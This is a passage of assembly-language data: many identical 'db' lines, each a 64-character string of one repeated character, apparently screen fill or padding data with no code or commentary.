		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
